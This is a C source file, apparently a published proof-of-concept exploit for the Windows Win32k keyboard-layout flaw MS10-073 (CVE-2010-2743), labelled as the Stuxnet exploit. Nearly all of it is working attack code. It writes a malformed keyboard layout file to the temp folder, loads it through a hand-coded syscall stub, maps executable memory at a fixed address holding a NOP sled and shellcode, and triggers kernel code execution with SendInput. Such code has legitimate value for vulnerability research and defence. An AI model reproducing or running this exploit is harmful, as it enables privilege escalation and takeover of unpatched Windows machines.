Win32k - Keyboard Layout Vulnerability (MS10-073)



// My koala is staring at you  CºgºD

// Source: http://reversemode.com/index.php?option=com_content&task=view&id=71&Itemid=1


#include <windows.h>
#include <stdio.h>
#include <ntsecapi.h>


#define MAGIC_OFFSET 0x6261

#define InitializeUnicodeStr(p,s) {        \
     (p)->Length= wcslen(s)*2;            \
     (p)->MaximumLength = wcslen(s)*2+2;    \
     (p)->Buffer = s;                \
     }


_declspec(naked) HKL __stdcall NtUserLoadKeyboardLayoutEx
(
   IN HANDLE Handle,
   IN DWORD offTable,
   IN PUNICODE_STRING puszKeyboardName,
   IN HKL hKL,
   IN PUNICODE_STRING puszKLID,
   IN DWORD dwKLID,
   IN UINT Flags 
)
{
    __asm
    {
        mov eax, 000011c6h
        mov edx, 7ffe0300h
        call dword ptr [edx]
        retn 1Ch
    }
}


unsigned char shellcode[]="\x90\x90\x90\x90\xC2\x0C\x00\x90\x90";

unsigned char fakeDll[]="\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
                        "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
                        "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
                        "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00"
                        "\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00"
                        "\x00\x00\x00\x00\xE0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
                        "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
                        "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
                        "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
                        "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
                        "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
                        "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
                        "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
                        "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
                        "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
                        "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
                        "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
                        "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
                        "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
                        "\x00\x00\x00\x00\x00\x00\x00\x00\x2E\x64\x61\x74\x61\x00\x00\x00"
                        "\xE6\x00\x00\x00\x60\x01\x00\x00\xE6\x00\x00\x00\x60\x01\x00\x00"
                        "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
                        "\x94\x01\x00\x00\x9E\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
                        "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
                        "\xA6\x01\x00\x00\xAA\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
                        "\x00\x00\x00\x00\x9C\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
                        "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
                        "\x00\x00\x01\x00\x00\x00\xC2\x01\x00\x00\x00\x00\x00\x00\x00\x00"
                        "\x00\x00\x00\x05\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
                        "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
                        "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
                        "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
                        "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
                        "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
                        "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
                        "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
                        "\x00\x00\x00\x00\x00\x00";

int main(int argc, CHAR* argv[])
{
    
    UNICODE_STRING    uStr;

    KEYBDINPUT        kb={0};
    INPUT            vInput={0};
    
    HANDLE            hFile;
    DWORD            dwFuckS0ny;
    
    HKL                hKbd;
    
    WCHAR            lpPath[MAX_PATH]={0};
    WCHAR            lpLayoutFile[MAX_PATH]={0};

    LPVOID            lpShellPtr;



    printf("\n\nStuxnet MS10-073/CVE-2010-2743 Exploit\n");
    printf("Ruben Santamarta - www.reversemode.com\n\n");
    
    

    LoadLibraryA("user32.dll");

    InitializeUnicodeStr(&uStr,L"pwn3d.dll");

    GetTempPathW( MAX_PATH, lpPath );

    wsprintf( lpLayoutFile, L"%lSp0wns.boom", lpPath);


    hFile = CreateFileW(lpLayoutFile,
                        GENERIC_READ|GENERIC_WRITE,
                        FILE_SHARE_READ|FILE_SHARE_WRITE,
                        0,
                        CREATE_ALWAYS,
                        0,0);

    if( hFile == INVALID_HANDLE_VALUE )
    {
        printf(" \n[!!] Error\n");
        exit(0);
    }

    WriteFile(    hFile,
                fakeDll,
                sizeof(fakeDll)-1,
                &dwFuckS0ny,
                NULL);

    printf("\n[+] Writing malformed kbd layout file \n\t\"%S\"\n\t[ %d ] bytes written\n",lpLayoutFile,dwFuckS0ny);
    CloseHandle(hFile);

    hFile = CreateFileW (lpLayoutFile,
                            GENERIC_READ,
                            FILE_SHARE_READ,
                            0,
                            OPEN_EXISTING,
                            0,0);

    if( hFile == INVALID_HANDLE_VALUE )
    {
        printf(" \n[!!] Error\n");
        exit(0);
    }
    
    hKbd = GetKeyboardLayout( GetWindowThreadProcessId( GetForegroundWindow(), &dwFuckS0ny ) );
    

    printf("\n[+] Loading it...[ 0x%x ]\n", NtUserLoadKeyboardLayoutEx( hFile, 0x01AE0160, NULL, hKbd, &uStr, 0x666, 0x101 ) );

    lpShellPtr = VirtualAlloc( (LPVOID)0x60630000, 
                                0xF000, 
                                MEM_COMMIT|MEM_RESERVE, 
                                PAGE_EXECUTE_READWRITE);

    printf("\n[+] Allocating memory...");

    if( !lpShellPtr )
    {

        printf("[!!] Error %x\n",GetLastError());
        exit(0);

    }else{

        printf("[ OK ]\n");

    }
    
    memset( lpShellPtr, 0x90, 0xF000);

    memcpy( ( void* )( ( ULONG_PTR ) lpShellPtr + MAGIC_OFFSET ),
            ( const void* )shellcode, 
            sizeof( shellcode ) - 1 );

    kb.wVk = 0x0;
    vInput.type  = INPUT_KEYBOARD;
    vInput.ki  = kb;

    printf("\n[+] Triggering shellcode...");
    SendInput( 1, ( LPINPUT ) &vInput, sizeof( INPUT ) );

    printf("\n[+] Done\n");

    return 0;
}